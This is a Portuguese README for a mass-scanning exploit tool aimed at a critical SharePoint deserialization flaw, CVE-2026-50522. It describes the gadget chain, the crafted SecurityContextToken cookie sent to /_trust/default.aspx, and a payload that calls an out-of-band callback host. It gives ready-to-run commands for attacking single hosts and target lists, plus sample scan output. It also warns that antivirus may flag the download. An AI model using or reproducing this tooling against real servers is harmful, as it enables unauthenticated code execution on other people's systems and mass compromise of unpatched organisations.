CVE-2026-50522 PoC : RCE por Desserialização no SharePoint

Execução Remota de Código não Autenticada no SharePoint Server via Desserialização do Cookie SecurityContextToken

Exploit de varredura em massa para CVE-2026-50522 visando o Microsoft SharePoint Server on-premises. Abusa da desserialização insegura do BinaryFormatter no endpoint WS-Federation /_trust/default.aspx para obter execução remota de código não autenticada por meio de cookies SecurityContextToken manipulados.

Nota: Este projeto inclui o ysoserial, uma ferramenta conhecida de teste de penetração, portanto, seu antivírus pode sinalizá-lo ou colocá-lo em quarentena durante o download.

---

Informações da Vulnerabilidade

• CVE: CVE-2026-50522
• Tipo: CWE-502 Desserialização de Dados Não Confiáveis
• CVSS 3.1: 9.8 (Crítico)
• Autenticação: Não Autenticado
• Afetados:
  • Microsoft SharePoint Server Subscription Edition (before 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (before 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (before 16.0.5561.1001)

---

Como Funciona

1. ysoserial.exe gera um payload serializado BinaryFormatter usando o gadget TypeConfuseDelegate
2. O payload executa Invoke-WebRequest para uma URL de callback out-of-band
3. Os bytes brutos são comprimidos (zlib) e codificados em Base64 em um valor de cookie
4. O cookie é envolvido em uma estrutura XML SecurityContextToken
5. O token é incorporado em um RequestSecurityTokenResponse (WS-Federation)
6. O parâmetro wresult é enviado via POST para /_trust/default.aspx
7. O SharePoint desserializa o token, acionando a execução de código no processo de trabalho do IIS

---

Requisitos

• Python 3.10+ com a biblioteca requests
• ysoserial.net (download)
• Servidor de callback OOB (Burp Collaborator, interactsh, OAST)

---

Uso

Alvo Único

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Varredura em Massa

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Caminho Personalizado do ysoserial

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

Com Proxy

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Modo de Callback por Subdomínio

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

---

Opções

Argumento	Descrição	Padrão
-t, --target	URL do alvo único	-
-T, --targets	Arquivo com URLs de alvos, um por linha	-
-c, --callback-url	URL base de callback OOB (obrigatório)	-
--callback-mode	path ou subdomain	path
--ysoserial	Caminho para ysoserial.exe	ysoserial.exe
-x, --proxy	Proxy HTTP	nenhum

---

Modos de Callback

Modo Path (padrão):

http://YOUR_ID.oastify.com/10.10.10.5

Modo Subdomínio:

http://10.10.10.5.YOUR_ID.oastify.com

---

Exemplo de Saída

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

---

Referências

• Microsoft - CVE-2026-50522
• SOCRadar - PoC do CVE-2026-50522 Alimenta Ataques ao SharePoint
• thehackernews - RCE Crítico no SharePoint CVE-2026-50522 sob Exploração Ativa Após PoC Público